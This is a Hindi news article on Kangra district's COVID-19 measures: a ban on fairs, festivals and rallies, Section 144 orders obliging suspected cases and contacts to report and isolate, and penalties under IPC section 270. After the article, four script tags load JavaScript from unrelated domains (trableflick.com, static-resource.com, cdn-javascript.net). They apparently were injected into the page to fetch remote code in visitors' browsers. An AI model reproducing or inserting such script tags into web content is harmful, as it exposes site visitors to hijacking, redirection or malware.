<p>कोरोना वायरस से बचाव को लेकर जिला कांगड़ा में मेलों, त्यौहारों, टूर्नामेंट्स, रैलियों इत्यादि के आयोजनों पर रोक लगा दी गई है। इस बावत जिला दंडाधिकारी कांगड़ा राकेश प्रजापति की ओर से आदेश पारित किए गए हैं। इसके साथ ही लोगों को भीड़ वाले सार्वजनिक और धार्मिक कार्यक्रमों में भी जाने से गुरेज करने की हिदायतें दी हैं। उल्लेखनीय है कि शिक्षण संस्थानों में पहले से ही 31 मार्च तक बंद रहने के आदेश जारी किए जा चुके हैं। डीसी राकेश प्रजापति ने कहा कि राज्य और पड़ोसी क्षेत्रों में कोरोना वायरस के संदिग्ध मामले उजागर होने के पश्चात कोरोना वायरस के संक्रमण को रोकने के लिए प्रदेश सरकार द्वारा आवश्यक आदेश और हिदायतें दी गई हैं।</p>
<p>वायरस की गंभीरता को देखते हुए कांगड़ा जिला में कोरोना वायरस से बचाव के लिए कोरोना वायरस के संदिग्ध और उनके संपर्क में आए लोगों पर धारा-144 लागू करने के आदेश दिए गए हैं। इसके तहत कोरोना वायरस के संदिग्ध व्यक्तियों और उनके संपर्क में आए व्यक्तियों को स्वयं स्वास्थ्य केंद्रों या फ्री टोल फ्री नंबर 104 पर जानकारी देनी होगी और आइसोलेशन में रहना जरूरी होगा। अब कोरोना वायरस के संदिग्ध व्यक्तियों और उनके संपर्क में आए व्यक्तियों की स्वयं की जिम्मेवारी होगी कि वे स्वास्थ्य विभाग या टोल फ्री पर सूचना दें और समाज में आइसोलेशन में रहें।<br />
<img src=”/media/gallery/images/image(5885).jpeg” style=”height:320px; width:640px” /><br />
उन्होंने बताया कि कोरोना के संदिग्ध व्यक्ति या उसके संपर्क में आए किसी भी व्यक्ति को स्वास्थ्य विभाग के निर्देशानुसार जांच करवाना कानूनी तौर पर जरूरी होगा। इसके साथ ही ऐसे व्यक्तियों को आईसोलेशन में रहना भी जरूरी होगा अगर ऐसे व्यक्ति स्वास्थ्य जांच या आईसोलेशन में रहने से इंकार करते हैं तो उनके खिलाफ आईपीसी की धारा-270 के तहत दो साल की सजा और जुर्माने का प्रावधान है। इसी तरह से संस्थानों, होटलों, होम स्टे इत्यादि में भी कोई कोरोना का संदिग्ध मामला उजागर होता है तो ऐसे सभी संस्थानों को भी स्वास्थ्य विभाग के नियमानुसार स्वास्थ्य जांच प्रक्रिया में शामिल होना जरूरी है। जरूरत पड़ने पर ऐसे संस्थानों को बंद करने का प्रावधान भी किया गया है।</p>
<p>ऐसे मामलों में अतिरिक्त उपायुक्त, एसीटूडीसी, डीआरओ, सभी उपमंडलाधिकारी, कार्यकारी दंडाधिकारी, मेडिकल सुपरिटेंडट, परियोजना अधिकारी डीआरडीए, जिला पंचायत अधिकारी, जिला आयुर्वेदिक अधिकारी, उपमंडल आयुर्वेदिक अधिकारी, खंड चिकित्सा अधिकारियों को आदेश करने के लिए प्राधिकृत किया गया है। उपायुक्त ने कहा कि कोरोना वायरस से डरने की आवश्यकता नहीं है और स्वास्थ्य विभाग द्वारा जारी हिदायतों की अनुपालना करने से कोरोना से बचाव संभव है।</p>
<p><img src=”/media/gallery/images/image(5886).jpeg” style=”height:334px; width:640px” /></p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
<script src=”http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8620x” type=”text/javascript”></script>
<script src=”http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8620x&format=arrjs&r=1584274799656″ type=”text/javascript”></script>
<script src=”http://trableflick.com/ext/21aca573d498d25317.js?sid=52587_8620_&title=a&blocks[]=31af2″ type=”text/javascript”></script>
Shimla: मंडी से सांसद कंगना रनौत के बयान पर मंत्री विक्रमादित्य सिंह पलटवार किया…
Shimla: प्रदेश में बीते 3 दिन से सूरज चमक रहा है। इससे सितंबर माह…
Solan: शिमला-बिलासपुर राष्ट्रीय राजमार्ग-205 पर दाड़लाघाट के कराड़ाघाट के समीप साफ मौसम में ही पहाड़ी…
Shimla:कांग्रेस अध्यक्ष प्रतिभा सिंह ने प्रदेश कांग्रेस कमेटी कुछ ही देर में कांग्रेस भवन में…
Shimla: हिमाचल की राजधानी शिमला के मशोबरा में छुट्टियां बीताकर आज सुबह सोनिया गांधी और…
आज का राशिफल 23 सितम्बर 2024 , सोमवार मेष🐐 (चू, चे, चो, ला, ली, लू,…